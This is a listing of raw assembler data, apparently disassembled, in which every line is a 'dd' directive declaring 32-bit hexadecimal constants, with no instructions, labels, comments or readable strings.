		dd 9078A626h, 36D849h, 0AE2B9B32h, 9111FE53h, 0C0B520C7h
		dd 0F8DDE01Fh, 137F2F5Eh, 1650D481h, 999800DCh,	3F53F964h
		dd 56046000h, 0D31CFDD1h, 47A7028Fh, 22E62D40h,	0FE0E943h
		dd 6500C794h, 26B0088Bh, 0A0629Eh, 9F5B29D6h, 0EE96AD7h
		dd 0D1BF6951h, 729C40C7h, 0E53C7F35h, 55D21C70h, 2C14BB80h
		dd 177D76D4h, 20D583F5h, 943A3C8h, 0C11D009Ch, 415AED40h
		dd 9147AEh, 0D7A75F10h,	616A74E8h, 4A0120BAh, 6E87E94Fh
		dd 0E8C71425h, 30C5DC94h, 6FC8BF1Ch, 6800792Dh,	0C38B9B67h
		dd 0AACCA2h, 0E7F024D9h, 0C8ECCBB4h, 94904600h,	83E84ABh
		dd 5480C0FBh, 0FD1A825h, 4E016917h, 74407430h, 9AED488Fh
		dd 0C220BD00h, 0C9D6ABCAh, 0B0C09578h, 9A5DDB77h, 51D30B4Bh
		dd 70A0D006h, 0E0722931h, 7C75F124h, 8EFF1601h,	0EDCC4844h
		dd 0ACC358D8h, 0F5598300h, 0F01FEB9h, 85291139h, 2D7CA7Bh
		dd 0E0EBAAC3h, 0EAD421h, 6D134CCCh, 0F692F2DDh,	0C8A1102h
		dd 0E0235A22h, 1260649Eh, 27F54F4h, 0C44AEE14h,	2EB99CE0h
		dd 0CE402F00h, 0E04E1A5h, 8B832DACh, 0DD539080h, 7900A4AEh
		dd 0BFD0752Fh, 171527ECh, 0EBA19Bh, 4BAF6EB4h, 0E9000454h
		dd 860A67FAh, 12CCA66h,	6C97BB9Bh, 34207ADCh, 781E7B08h
		dd 0E0B0C01Ah, 9F0176h,	618E99EAh, 0E1E3CE90h, 323BF098h
		dd 0ED161E84h, 0A095968Fh
		dd 7CF6CDD3h, 80B0017Eh, 1BFFDCEBh, 0AAA2F40Dh,	55CB2700h
		dd 0CA1873B3h, 5A0C0EFCh, 7DC0C6F2h, 2A43E2B2h,	25EA5DFEh
		dd 99D7D904h, 4806BCFh,	0E90C9h, 89BD7F5Bh, 0FC879796h
		dd 0E60CAB00h, 0C7540F17h, 0C343002Ch, 9C155E53h, 500A1F1h
		dd 2BF647D2h, 1D8870Eh,	0A770B08Dh, 0C4B9E957h,	0A100FE74h
		dd 0A5715832h, 0F00C317Bh, 0E35E00CFh, 7D6CA98Dh, 1600F926h
		dd 60694686h, 4C73549Bh, 7701C8A2h, 83A71B8Dh, 0CEEC245Fh
		dd 6A3F8400h, 94935980h, 49DDE239h, 57001418h, 79BC4F5Dh
		dd 5B012391h, 905C0631h, 0A824EC36h, 21571653h,	4D30FA1h
		dd 32F21B20h, 3A07FAB5h, 6AA6748Bh, 0AD72D860h,	5A34FC41h
		dd 832C0F43h, 58C6636Fh, 0A073911h, 2191B572h, 0F8166C50h
		dd 9AC0F9AAh, 1C807D97h, 2E15DD8Ah, 0BFE6052Ah,	239C019Eh
		dd 3C03EE3Ah, 0D179821Ch, 2A16E1F7h, 4367F70h, 0C2F40DA9h
		dd 0E7E88011h, 0D2071316h, 0FEE39C08h, 0A4501F20h, 2201007Eh
		dd 0D6786137h, 0D30007EFh, 47FABE03h, 609BC219h, 7A4C4466h
		dd 0B9501F43h, 0D1664ECh, 68074628h, 0DD978114h, 4230ADA7h
		dd 371FD4h, 8AAF8C63h, 0B006A62Ch, 268B9817h, 0EBD9D001h
		dd 74606602h, 53EC0091h, 0B738873Bh, 341CEAE3h,	0CC8072A8h
		dd 0FE17CD0Ch, 4B000D6h, 20EB8627h, 37E88351h, 0D952EC01h
		dd 0E15A60A9h, 5CC42FD8h, 0EC7D9970h, 0BB7E3FF4h, 3AC36F00h
		dd 23FEFB2Ch, 5C0E6A24h, 0E0A7F80Fh, 0D058CA9Dh, 281E034Fh
		dd 6CA21B29h, 79F83188h, 8C19E426h, 0F524D380h,	0F2FD8Ah
		dd 4C6E4EB6h, 98DF55CAh, 2671A20h, 2C52B7F0h, 0F883A1F4h
		dd 0A8B8A08Bh, 0BB267184h, 8A007CF9h, 0FB5136CDh, 2B813D31h
		dd 0FE4AC280h, 3C4417BAh, 8CC67D00h, 0C83D4366h, 0BC8F1EC0h
		dd 477A1C37h, 502579B9h, 657FF52Ah, 0F29E1A16h,	0FAC413h
		dd 0CB108369h, 110F3FDEh, 0DC1B44h, 821E369Bh, 517231EDh
		dd 793A13C0h, 400075E4h, 88111931h, 0A0E59349h,	1E8F1D1h
		dd 1E46DBCh, 80F2247Bh,	0AEEEFB19h, 71D7A2B0h, 2B8E0017h
		dd 0E7E20F07h, 550AA821h, 0FDA65A81h, 18437000h, 98C7A0h
		dd 0CE787FC2h, 626AA708h, 0FDD77A00h, 295DF42Ah, 0C9DA00D5h
		dd 0FC20653Eh, 59161E77h, 240FCBB6h, 260017FBh,	30AA3E5h
		dd 0ABA20E90h, 0FC0AD8CDh, 5E7300A8h, 2F6C3441h, 36452001h
		dd 7681F5C0h, 9F07D06Ch, 0F799757h, 8A302E60h, 0B89E6C8Fh
		dd 0D6C51280h, 7F2D371h, 9A46BE37h, 10E3F0FAh, 992DC383h
		dd 0DD1003D2h, 0ACE8A8EEh, 0FA427B7h, 4B57000h,	0C4BA3345h
		dd 2289F400h, 9399E37Dh, 3667005Ah, 4BC373BAh, 0A801B460h
		dd 280A3390h, 1AFC18CCh, 0DF253D4Eh, 0EBD7E680h, 6445ECA3h
		dd 2608CD48h, 0B10E9829h, 0B3A8408Eh, 0A083B080h, 4EA7C4h
		dd 7AE05451h, 0E7AB8CCAh, 7717889Ch, 0DFB7D000h, 7E01CE21h
		dd 8495072Bh, 106BB66Ah, 1DC1DC9Ch, 70C5D824h, 24D28C00h
		dd 941E3904h, 0DC768ED8h, 3E25AB40h, 0BE70C5E2h, 0F80090B8h
		dd 40D9A4F9h, 0C96724h,	0CC8E7292h, 82533717h, 6B151300h
		dd 0EC02BC8Dh, 50A2000Fh, 6A3F8EAh, 3F1764EFh, 20802A16h
		dd 0B05952h, 514F82E4h,	0A5FD8B35h, 8D0129F0h, 381BBB33h
		dd 17EC3052h, 3B2B019Ah, 86A4B91h, 0CD84D866h, 3D1038E3h
		dd 9B208071h, 0ECCE27A2h, 0B492A4h, 1113DA07h, 50DC1AB3h
		dd 9E3CCA73h, 0D89EF3DDh, 33634000h, 1E22E164h,	2F7B963Ch
		dd 0F16E84A3h, 0BE2EFC00h, 0AEA32B23h, 0CAD48F6h, 0E59F1708h
		dd 0F1C484Bh, 1CEC91CAh, 301A808Bh, 0B74AFAB0h,	9B0BF500h
		dd 0CF9091EBh, 0B37295h, 3386826Ch, 5B0602D8h, 0DC13472Dh
		dd 51003E42h, 4A71F73Ch, 1F77F9C9h, 0BEA6F800h,	282ADFFFh
		dd 8630009Ch, 0E4324DBh, 5DEE6472h, 0A8AF772Eh,	0E3C2F242h
		dd 158AE0A5h, 0EDD806F4h, 1162757Bh, 8200B8EAh,	0C4665472h
		dd 39DE9023h, 0AE85E0ECh, 0C7D640E9h, 67BB410Bh, 4F6AC4B8h
		dd 50598D00h, 41ACDE6Bh, 16217DBDh, 1B9FC1h, 54F7C841h
		dd 1D003313h, 27B59EBAh, 0A071AABFh, 6C65ACh, 0ED2306E9h
		dd 566CB8Bh, 0BBAC9C1Eh, 7E9F8CDFh, 47D79340h, 0E0EFAFh
		dd 0F75877C7h, 0CCF9B907h, 959EC100h, 1D618651h, 400127DEh
		dd 0E3EEC81h, 304B2AEEh, 35AB82E2h, 53A4E0EDh, 0E445006Ah
		dd 803BB609h, 0C5009A63h, 81ACA29h, 1DF07F1Fh, 0CC503F2Ah
		dd 0CE28E7B2h, 97758300h, 4FA52856h, 18E8D8h, 4DB88D9Bh
		dd 74111D7Eh, 0AC07D400h, 2205F7DBh, 4338036Dh,	0B1836391h
		dd 4A8A7DD0h, 0A10D1A06h, 0A89026h, 73244ED7h, 22FEF0D6h
		dd 0C406494Ah, 403008B1h, 0D0E78072h, 5801A101h, 3956BE1Ch
		dd 7F700294h, 18B13B5Ch, 3EAAC500h, 67CDF026h, 0B603E978h
		dd 7510ED36h, 0EC90EC7Eh, 74FE1A62h, 0F88F957Ch, 24A0C78Fh
		dd 5D2D2902h, 2839D40Ch, 18807182h, 287DFDDEh, 8CEB42F8h
		dd 98028A49h, 14525782h, 49381271h, 38EAC13h, 99DFB309h
		dd 0D01BD0FAh, 19540085h, 915EE4F1h, 5900D26Eh,	46A9C6C7h
		dd 0FEFB4376h, 25C858F5h, 58F2D000h, 6036C4EDh,	0ADE30A0Fh
		dd 197C6015h, 4A5E7F4h,	0EF173993h, 96DF809Dh, 0EA1686B3h
		dd 0FB004097h, 0E1DE3EF4h, 853B0042h, 811D28CEh, 0F1904A01h
		dd 76BA5700h, 6083D099h, 9B070061h, 4AD852F0h, 280122DAh
		dd 0D9378441h, 91D4E6E0h, 0D7813h, 0E1739C15h, 5A3DACE7h
		dd 0F734E400h, 12100FAEh, 9B2707E9h, 0AE4B5E24h, 0B57C6AC0h
		dd 73039FBDh, 33561251h, 0B018FB59h, 2CD17h, 60D08825h
		dd 419B8429h, 3C090D00h, 0E9467856h, 98D4A9FFh,	1303AC0h
		dd 555CE528h, 0D15D3D11h, 77246C82h, 5E3A0803h,	0E0FAE515h
		dd 0A97A529h, 76D7ABF9h, 0F36483DCh, 3CB846F1h,	4300FA17h
		dd 0CA7FF72Ch, 7C5E8182h, 0E5D80C01h, 47803E78h, 39E7048Ch
		dd 62ED290Bh, 0FD221A7h, 1CD8603Ah, 0C9029302h,	0E0238F06h
		dd 0D320722h, 2E3FC452h, 80402F70h, 466FC997h, 841600E8h
		dd 0F6207770h, 0B4BA2108h, 0E60E9EE2h, 81D651B8h, 3EBF7D25h
		dd 40750892h, 0B8EEF194h, 502547F0h, 0B77423h, 0F93C022Eh
		dd 57633BD2h, 2E722170h, 10C231h, 0B619529Ch, 7E7F652Eh
		dd 0F326C426h, 683A8400h, 5EFEDAh, 9E2BCD77h, 0F38C7FF6h
		dd 9C708D28h, 0E9035F01h, 6278746Dh, 0C03545F0h, 21B91570h
		dd 891C0892h, 9300A642h, 5FF5207Dh, 0B6F6B3h, 841967B2h
		dd 0D7FEDB35h, 0A78D0407h, 9520A307h, 0F0B52685h, 1FF1F380h
		dd 20BC2BE1h, 75DDB606h, 0BD0031D4h, 0ACECD8DBh, 0AB48FBh
		dd 0C413D53Dh, 0CA74145Bh, 0F121AD00h, 88AE966Bh, 3F6C00C3h
		dd 0C607EFC1h, 0B8008097h, 0A5938A44h, 53A77594h, 419C1499h
		dd 96A83C89h, 2D9980BCh, 8C6205ADh, 21850C59h, 68B19250h
		dd 4F3A8FE1h, 94118583h, 0DDD30C44h, 8815821h, 15E342EBh
		dd 2118A9DCh, 19A019F3h, 0ED49F410h, 0EAE26182h, 0E788A1D2h
		dd 0A0808C99h, 5E909CACh, 0E831427Bh, 0F2052118h, 1847EAD4h
		dd 5181112Bh, 0BE506F26h, 9300761Ch, 11436CADh,	781BB432h
		dd 0E81C78BBh, 0D76F0803h, 0A70730EAh, 10826ED5h, 6108874Eh
		dd 962783h, 91452D71h, 0A8A39AF8h, 0B8293F72h, 892694B3h
		dd 105100Bh, 0A6CFFCB4h, 708A1882h, 0CFC0458Ch,	0FCA823F8h
		dd 7A1F2B73h, 0B7405247h, 540C3975h, 1508EE2Eh,	80149B50h
		dd 0B5312F30h, 0B90091E3h
		dd 7E51BD7Bh, 555CB6Bh,	93E073A6h, 0F12C0003h, 0EF856E7Ch
		dd 0AE262400h, 0C470F816h, 0DCFC0087h, 271C0D3Dh, 0B2CB0FFh
		dd 0C600A12Fh, 5BF24EF9h, 7C54908Ah, 31D7070Ch,	0B318AA42h
		dd 1803B8C3h, 8F826A14h, 90D92CD6h, 0C0630036h,	64B9EE2Fh
		dd 8DC24200h, 857E4669h, 0FE111889h, 444E992Ch,	3595AF00h
		dd 6240147h, 337E017Fh,	85215D90h, 3881F057h, 0CDDB3402h
		dd 815CF397h, 0DE5028B0h, 3E2EEC51h, 76B0C451h,	952CB30h
		dd 9B816D3Bh, 53D62E80h, 0D9009827h, 194CEEDDh,	93FAB67h
		dd 7A8F8813h, 6EB87800h, 0A5395175h, 0E9DE0082h, 0B4B19CDAh
		dd 130E1481h, 0C1FA04B5h, 113C56C2h, 603152F0h,	2646D076h
		dd 5075FB36h, 0C1C63F8h, 0B3874213h, 8B115261h,	2888AF70h
		dd 0A991730Ah, 0A47BDB00h, 316421E0h, 3A143E00h, 18D91953h
		dd 2C0A3E71h, 28011B3Dh, 6AF69A1Ah, 5AC2C8E6h, 1EBAF300h
		dd 0E598B1C6h, 97CB1C6Dh, 4E1840E7h, 3CFBD6FAh,	51F44B00h
		dd 935D556Ah, 6404006Fh, 72F2A70Ch, 1A0016A2h, 7A415F20h
		dd 0CD2F01h, 5ED960F6h,	0E540425Bh, 5534B3Dh, 0DEDC67CEh
		dd 0F580E900h, 260E39h,	0FB3AE9E0h, 4A97515Bh, 314CA500h
		dd 0DCEECCCBh, 0A0F300FEh, 4783743Ch, 451E5433h, 90000F72h
		dd 0C3BD0E7Fh, 59630F77h, 3A20A7ECh, 82F19D1Dh,	4D3E6770h
		dd 3BEE80BCh, 6861B087h, 0C78A012Eh, 4F6B0D9Dh,	0F77DE837h
		dd 6A31D500h, 36BA5D10h, 85F8002Dh, 29461335h, 0D401B1CBh
		dd 0DA3DBD21h, 90FBABA5h, 0E7B3A76h, 721D96CAh,	31D2E220h
		dd 1100CB15h, 6A0182EFh, 1E1BC866h, 8026CFD7h, 0E3CE3527h
		dd 0D8008CC0h, 0BDD4672h, 676B8176h, 60FC60D0h,	0AC07146Eh
		dd 708CBA0Eh, 0F4F00031h, 0EADA6A4h, 0F6055F1Eh, 49E45566h
		dd 7F5EC800h, 0DAA17C09h, 9C500E99h, 0CDA2D48Bh, 0B48174E8h
		dd 0F019044Eh, 0B5007F87h, 2D9734C8h, 0A80F71h,	2985709Eh
		dd 79010C31h, 0E4446003h, 0E8976125h, 78CA46F9h, 0BE5E006Ah
		dd 0EAC4DB4Eh, 0E001B49h, 0D122CE2Fh, 48C5AADFh, 8F006C5Dh
		dd 4EB57AC2h, 0AD006D74h, 88C4F2D2h, 48D1C951h,	0CD07433Ch
		dd 302AB705h, 0EA1B0E68h, 0A8624B30h, 0AF9DCBh,	0D43390FFh
		dd 0AA262AFCh, 0EC9EBE01h, 0CA195831h, 1A3FC24h, 0FFAAD7Bh
		dd 9FB3096Eh, 0E500C1E9h, 47B68ECEh, 2BD00094h,	53C6F622h
		dd 0B200F170h, 0BB88ED1Dh, 79A84AD3h, 2BB40698h, 78915C59h
		dd 41079C87h, 1EB067A3h, 0B8C7C5h, 0BF315306h, 5B6E4D12h
		dd 1C3D74CAh, 8007A0E3h, 39AA45Eh, 3C2E9258h, 0B9C9494Ch
		dd 8BD7EC20h, 3807BA00h, 9F6A430Eh, 93D52D12h, 0D000B976h
		dd 72203BBBh, 0B84C0021h, 33992278h, 0C538A3E3h, 0A65B07C9h
		dd 0B8051EEh, 9D2747h, 0BD7AE748h, 0E9EC362Fh, 10C024B0h
		dd 90300BB4h, 0AE2FE92h, 5A191B06h, 4AC03A4h, 9AF9C5B3h
		dd 0AAC2413h, 0B25C7C00h, 53FAD1Fh, 0C779A0h, 9B6AEC31h
		dd 5A248050h, 0EF0E97F8h, 0C0C0372Fh, 4303D866h, 1BBF00DFh
		dd 97E514E2h, 63019E3Fh, 0B2DB4641h, 7AD4DE3Eh,	0B8C83AE4h
		dd 4994F31Fh, 0C21CE72h, 23248990h, 0E66F1D34h,	0C69F0079h
		dd 8FCA80A4h, 4AF757Eh,	88CC1CFCh, 81A0C3B8h, 0CE5F02A8h
		dd 3F18D190h, 0FFC87320h, 0F5B00Eh, 19344B89h, 0D66D12DEh
		dd 9206F4A7h, 239C70Ch,	0D0479853h, 6BC0FB0Ah, 96008E5Fh
		dd 0C1A185ECh, 2426082Ch, 0C0445ADDh, 0C853354Bh, 5767AE00h
		dd 0FFACB4D9h, 88A24D06h, 0E3509300h, 0BC606B12h, 0D1264F00h
		dd 250BF34Ah, 0C9553824h, 8A8103B0h, 39508F92h,	5E0554ACh
		dd 78EEDB96h, 452FD440h, 3410FF1h, 0A4F50598h, 0C88E952Dh
		dd 0B6A33A00h, 43B550E5h, 97BD007Dh, 0AC9CC60h,	0D807AF9Ch
		dd 3588B23Ch, 2C0FB9ACh, 5034461h, 32B620DCh, 0FCC2EFC0h
		dd 0CCC45861h, 92007E70h, 0F66C944Bh, 2B0DC641h, 3EB886B1h
		dd 6E1BED00h, 22F291BCh, 0AEB3C11Dh, 802D79C3h,	0D546D8F7h
		dd 8D74004Ah, 1A1ED838h, 0A8A02E6Ch, 5F80B472h,	4D9000B5h
		dd 0F4D06366h, 42E7E35h, 0FF03318Fh, 0F0262908h, 484E8913h
		dd 2800506Ch, 0A58AC0BFh, 200090A3h, 3ADB476Bh,	1A2572Dh
		dd 0AB0D55D1h, 608AA7EAh, 0D20125BCh, 0AFFA1466h, 9C435DDFh
		dd 211FC8D0h, 0ECD6151Ah, 0D40F949Ch, 0EF8356C3h, 0C898E076h
		dd 130005F7h, 8C84ACB6h, 1DB0CD2Eh, 0C63C6815h,	0A01127CCh
		dd 3FFEAA73h, 0FF4E3100h, 2A09A7EFh, 43B61CE5h,	6CC0C250h
		dd 784E6245h, 0B871EF29h, 0C2741115h, 62E352A4h, 0C7C80234h
		dd 876540D2h, 0FBCB04CCh, 0C0959EF9h, 3C6D4A20h, 0E7F7AA00h
		dd 81789DADh, 119B0031h, 0DD1A6447h, 7D059F0Dh,	0EEDCFE59h
		dd 2A6BD800h, 484127CFh, 4850A82Eh, 2661F468h, 810484FBh
		dd 7EEB126h, 0C3BC3278h, 91C27EF8h, 0C60DF21h, 0F65601CDh
		dd 95C5040h, 437C2461h,	5AD362C0h, 0F3058DC5h, 35B55880h
		dd 868A498Bh, 9626FC0Bh, 66400A0h, 19D94E8h, 0E92BB0ABh
		dd 509B4656h, 40A17DD8h, 2B38E0Ch, 1EEB8EAEh, 40F94808h
		dd 8AEF0D75h, 9D1C0771h, 0E4C03CF2h, 37A0AA2h, 1E7C12FCh
		dd 40581D49h, 0CED54B41h, 3B0CC53Eh, 60762409h,	0A795006Bh
		dd 36A6077Ch, 0E28634Ah, 9A01B78Ah, 3F429F76h, 79FD4C47h
		dd 1DD83084h, 5AEFC09Ch, 4100FF8Bh, 5C540E20h, 3D792F0Ah
		dd 2A80C058h, 86FA74Ch,	0C202DCDAh, 3386F557h, 0AD4C408Bh
		dd 0DE2F09FFh, 1F80D5EBh, 6C3D19ABh, 9AF58301h,	5ED69944h
		dd 5445D4h, 301FD942h, 0B966D5CDh, 3DEAFE03h, 0A23EF68Ah
		dd 586040FCh, 0D0C755A7h, 0A2FA6F42h, 0C0E245E4h, 3B7936A3h
		dd 580B96Ah, 0CC7157B1h, 10E4E6D5h, 0BA650B1Fh,	0D62462C0h
		dd 0EA67BFh, 5892735Fh,	89684A47h, 0CEF58100h, 0F16ED087h
		dd 3313394Eh, 4032620Fh, 9BB5003Fh, 1AA03E94h, 0AB26A00h
		dd 0D2DBDE5h, 7CDAF8AEh, 5ADE00C6h, 0CACD0F6h, 7600BF92h
		dd 0B5CCE90Bh, 0FA8BD444h, 0C57B02h, 0C7AD1162h, 4079ED1Fh
		dd 9575362Eh, 0CE3D803Dh, 978C4CF3h, 50731567h,	0D212A80Ah
		dd 7F421D1h, 0DE980062h, 4D470263h, 5D69CB2Dh, 0BB03C850h
		dd 413219E9h, 0FF5AE049h, 3CACFC02h, 0DD2CBAEEh, 10B8838Ch
		dd 6B9A9386h, 0B4986050h, 3CA5383Bh, 262B8B58h,	8284A9CAh
		dd 48E0B41Ah, 0C090B758h, 2D65089Ch, 0CC00ECE2h, 2B9D37D2h
		dd 2C26861h, 0A0421615h, 54685775h, 2870CF74h, 80248859h
		dd 89425AD2h, 95A6000Eh, 3A2260F3h, 0AF003FA1h,	0D1FF2303h
		dd 715169C0h, 150116E2h, 0D4D1031Eh, 3DA8A950h,	0F417FFE5h
		dd 0D00B1A47h, 5976073Fh, 8099F5A3h, 72E92Eh, 0F9A2628Dh
		dd 7830EC2Ah, 0EC2C3F24h, 89038780h, 7AB66A85h,	98647B10h
		dd 0B58B21E0h, 57459100h, 10940FCh, 0A51A5B03h,	5093F9B8h
		dd 5C155AA4h, 0F090E858h, 690F25D5h, 589E5876h,	9B44988Eh
		dd 95B40060h, 0C5CADC6Fh, 46583FEAh, 721DE018h,	0FD620193h
		dd 0B16B8824h, 0D3188156h, 6A4A96FFh, 172064h, 872B9ABEh
		dd 0D4701DC9h, 0F456600h, 0A9D59968h, 24810209h, 0E3471690h
		dd 0B7670051h, 8C0B1255h, 4A50989Fh, 0AB3F0146h, 0DFC39EFEh
		dd 53843433h, 0D0E5262Ah, 230090B8h, 0C80370FAh, 0C040EF15h
		dd 0C73092C1h, 987DFBBBh, 0FE45C909h, 0C39CA097h, 499C5912h
		dd 4603505Ch, 4D48F74h,	0B9DE1DA0h, 9F6839h, 228E4535h
		dd 0C334DDh, 27DFC581h
		dd 0FB71C90Eh, 4D6FA000h, 0E4D488C7h, 0B5850772h, 0BFDD97AFh
		dd 9AD0E140h, 71003E3Fh, 14F4A4D7h, 5ABE3E6h, 0B3BB0181h
		dd 5FF44269h, 146086C8h, 41E16A09h, 50BEBFF4h, 3357FAB8h
		dd 8BEB160Ch, 712FB117h, 10DE60Eh, 9CD15CFEh, 704ED7B9h
		dd 963A0C27h, 0DDC080A6h, 56AEF8CEh, 62EF0073h,	0C5121B3Eh
		dd 8A3F4696h, 0AD0070AFh, 0EF9ED1A1h, 0E4C1FF32h, 939C00EBh
		dd 8630CA0h, 0CC0042A7h, 21D10568h, 31B8C3h, 94823472h
		dd 45A14BA2h, 0DF14E100h, 0EF1B677Fh, 64102624h, 9370B18h
		dd 0E001AC0Eh, 38D18CA7h, 0CF9B0000h, 0D23E5EAFh, 136E0FB9h
		dd 405E70A5h, 8F22E4F8h, 0EA009048h, 0CA56FD61h, 941155h
		dd 16763C7Dh, 0D228C7D1h, 280CF59h, 3043AB04h, 0EBDC68BFh
		dd 160324C7h, 572381C4h, 30BA95F8h, 78169E6Eh, 0D0007C5Dh
		dd 4E8B7FFDh, 525E012Ch, 0E4535AC9h, 7EB4603Dh,	1C9F2048h
		dd 505FD88Ch, 32D9AB80h, 0B5CA1Eh, 15E42507h, 0F5BE35A6h
		dd 4975C300h, 0B869868Eh, 821A0391h, 52E39DEh, 550B01A0h
		dd 0A4EAD1E6h, 0E61FDD0Eh, 704B206Ah, 0FFC79Ch,	0A1740825h
		dd 11DD5D60h, 0C6D09607h, 48D02947h, 7ABA942h, 0AF4EED68h
		dd 122BF09Fh, 1C0FA6E6h, 833AC7A4h, 0F8EB5E74h,	9D597Eh
		dd 3B7CE3EDh, 0F7E8B92Eh, 0E67D0B00h, 90BB2D14h, 501C00E1h
		dd 5C823BE7h, 0DD0091F3h, 0AF8B9F6Fh, 35CEAEh, 18FB5F78h
		dd 14D979FFh, 0B8633203h, 90812AD0h, 0BCF3173Bh, 86B60056h
		dd 93E6A630h, 8E65A300h, 0C8AF0D11h, 2F2B3h, 77B823E8h
		dd 0C362DC99h, 10D8BF00h, 0D05D4514h, 17B00084h, 0B37559C5h
		dd 0BBF68E6Bh, 0F48AFF6h, 22970220h, 40E39BFDh,	38B1ADDCh
		dd 0FC002552h, 9E9AE0AFh, 8E07B0B9h, 61EE0575h,	4440400Eh
		dd 74A86Fh, 0D45D4202h,	0D77E3368h, 964F9A09h, 0A0200C26h
		dd 3EAB5h, 32F1F0F2h, 0DB157C6Eh, 991E8DE4h, 7440FF58h
		dd 9695F230h, 50603BB6h, 0A5B0DB00h, 847FC6D4h,	0A1667600h
		dd 4799BD70h, 7C5500D0h, 6ACE7858h, 0E00C42Bh, 277B6F76h
		dd 4A960426h, 6B5C00A3h, 57A679E9h, 0A45EDFA0h,	6941B100h
		dd 0F963BBBDh, 34E10042h, 0A5ADC053h, 0ED021A9Bh, 54CAA17Fh
		dd 0B3306881h, 0A0103E6h, 0BA73F97Bh, 36CCD912h, 5C60D813h
		dd 0EC85519Ah, 8EA700D4h, 0BB7443CBh, 0D7001D75h, 0D2A904BDh
		dd 0D08081h, 5A97A5FFh,	8B1FA4B8h, 0FA89EA02h, 0C3315023h
		dd 39DCE87Bh, 7DF800BAh, 3D2990B2h, 10064E8h, 9F2EE6C2h
		dd 37A6C8h, 738D50DBh, 0DD7F0A85h, 0F7011902h, 0E3DEBA4Eh
		dd 1E69A0E4h, 9B7200D9h, 0BCC84F43h, 14035A5Dh,	0C1DE821h
		dd 3AF6A87Dh, 3F880025h, 6E638BE9h, 0E00604Ah, 52C64F8Ah
		dd 58BCEE65h, 6C0085CAh, 0DCF679F9h, 0F100C3D2h, 621D15A5h
		dd 1C49066Ah, 817CB423h, 4F0CB0Eh, 7ADAEC6Bh, 0C090C600h
		dd 85D03851h, 46F70078h, 68186D4Fh, 0A50143F2h,	8AF9804Ch
		dd 0BC2C7E9Fh, 0D6D06400h, 0ABAA4DEFh, 36BBA112h, 2CF035A0h
		dd 1EC065B4h, 0D583CEEAh, 4BCBC03Dh, 13A7649Dh,	0F5DAD150h
		dd 8303F62Ch, 0C9F10D01h, 0CC6023E3h, 4ABF0022h, 8EA825CAh
		dd 826116D5h, 2A8FDA18h, 0D903E038h, 0E7173056h, 91D30812h
		dd 868044C7h, 394BB31h,	3C11EC47h, 20A8DDA0h, 19177D6Dh
		dd 0F9011FCFh, 0DF60F79Ch, 0A4A8E0h, 78BF2B1Ch,	0AC153608h
		dd 2FE33C00h, 0FE96C822h, 0E7BE00F9h, 2A04305Eh, 0C8B6505Dh
		dd 620A4C1Ch, 0A680887Ah, 7E8E1F38h, 4EFD0030h,	4D3215BCh
		dd 1D00DA26h, 449A9966h, 2089456h, 0F3A9401Fh, 20801903h
		dd 0D98010FCh, 16E9E617h, 0BB308800h, 6E5232E7h, 0BE6A70B5h
		dd 77E6480h, 8E0014C7h,	3D548801h, 199D7DDCh, 6F598057h
		dd 70E46968h, 7C50FB0Fh, 49CDE2C9h, 78500Ch, 0DB27F29Dh
		dd 0C489CB58h, 17B94D07h, 0D010F0B2h, 0D4475CCh, 88C5C6B0h
		dd 40026181h, 90EC8DABh, 1F587718h, 0C3555218h,	61828108h
		dd 46950AC8h, 0EEEA000h, 0E597082Dh, 9ADA1320h,	5CD9008Ah
		dd 487C36BFh, 9F395060h, 1964D18h, 43D2583h, 0D0977691h
		dd 5E00567Eh, 0D3DCE30Eh, 0FB63C9h, 838EA561h, 0BE086A10h
		dd 0A1B1C530h, 0E3243E5h, 4B27641Fh, 0BBB28180h, 6D3F2651h
		dd 107A0F77h, 38B400E3h, 0CE203D3h, 0EFDA638Fh,	0C1072141h
		dd 4C279996h, 78AD8C3h,	488D2A19h, 4E8E10B7h, 7F50A461h
		dd 0F000A0B7h, 8F20BAB6h, 98788698h, 7E5186Ch, 84BCD9E7h
		dd 0C00C2EEh, 9159A6D5h, 0F8C157D9h, 0FB78B7h, 362D9DF2h
		dd 0A4C6B293h, 0BE45D003h, 7BC97D9h, 0F0565E20h, 0E0CE2013h
		dd 0CA604E5Ch, 0B0F5B210h, 0F610032Ch, 0F93B575Dh, 0CD970818h
		dd 0B0DED220h, 3312002Ah, 0B3E22D8Eh, 7C605CC6h, 0C8B5FA41h
		dd 85371E71h, 0CC5EC09Dh, 872CEB51h, 634A4239h,	921330h
		dd 29460350h, 0A7A6BC9Ah, 0D62BEB01h, 40AD95CFh, 3C59A0h
		dd 8D104A18h, 1201460Ch, 7D625F00h, 9773FC17h, 0ECCD009Eh
		dd 39262E9Ch, 50C1BDA6h, 0B064C9D7h, 0C673F088h, 0ED2F9200h
		dd 0F6709Ch, 0CF06E48Ch, 0BF9BE8F4h, 59160507h,	9E8797D3h
		dd 99C0B644h, 4003C1h, 6D6932A4h, 0DB6F55F7h, 4B019AB8h
		dd 8D1B863Eh, 0C4CD9CBDh, 7A9B20h, 0D75AF85Dh, 9BB437A0h
		dd 0E7483A73h, 0CE3AA5h, 0B97A8AB8h, 3B9886h, 842AF993h
		dd 4DE9FAC0h, 0F01FD900h, 27BED51h, 9EF80176h, 0FE0E9794h
		dd 0E969708Bh, 28252D01h, 710A6154h, 9E041D0h, 21AEC6A0h
		dd 0A86E5901h, 0D369F8B6h, 6B52BE18h, 77FB410h,	22E82EEEh
		dd 0DAD0B15Bh, 68A1FC5Ah, 4FD20C0h, 60880AF2h, 0DA541060h
		dd 0E0048C2h, 9A8FA594h, 3BC066h, 0B7F806F4h, 61716B54h
		dd 4800C1E6h, 99155ED3h, 81B942h, 80177CDBh, 6D880C56h
		dd 0A3C951C2h, 7F1CE093h, 855B00BAh, 0F5CAABC3h, 94066433h
		dd 51BEB676h, 59E400B1h, 5FB2C7D6h, 6100F8BFh, 0C53537BBh
		dd 67D25CF1h, 31EF2954h, 806ABE1Dh, 32280311h, 0E084A63Dh
		dd 480100BAh, 0F3859F1Dh, 20784ECBh, 86EAE03Bh,	5560DE6Ch
		dd 0DFAA0738h, 2049A7EDh, 0FEACB173h, 0E9B50132h, 40BA8F02h
		dd 0B88CE6C8h, 57D0C3A6h, 609FF627h, 75BE5607h,	21695003h
		dd 80BC617Fh, 2E5CA32Dh, 17658EFDh, 0CF810C51h,	3F6FB7B9h
		dd 785F00B1h, 0B5EAD3h,	6717697Fh, 0E415EBA9h, 0DBC2A700h
		dd 0D1C855E1h, 0B6980CF3h, 6B81C917h, 4177F700h, 690DDBB3h
		dd 88807E2h, 5303572Bh,	4FC18DABh, 89698650h, 37087766h
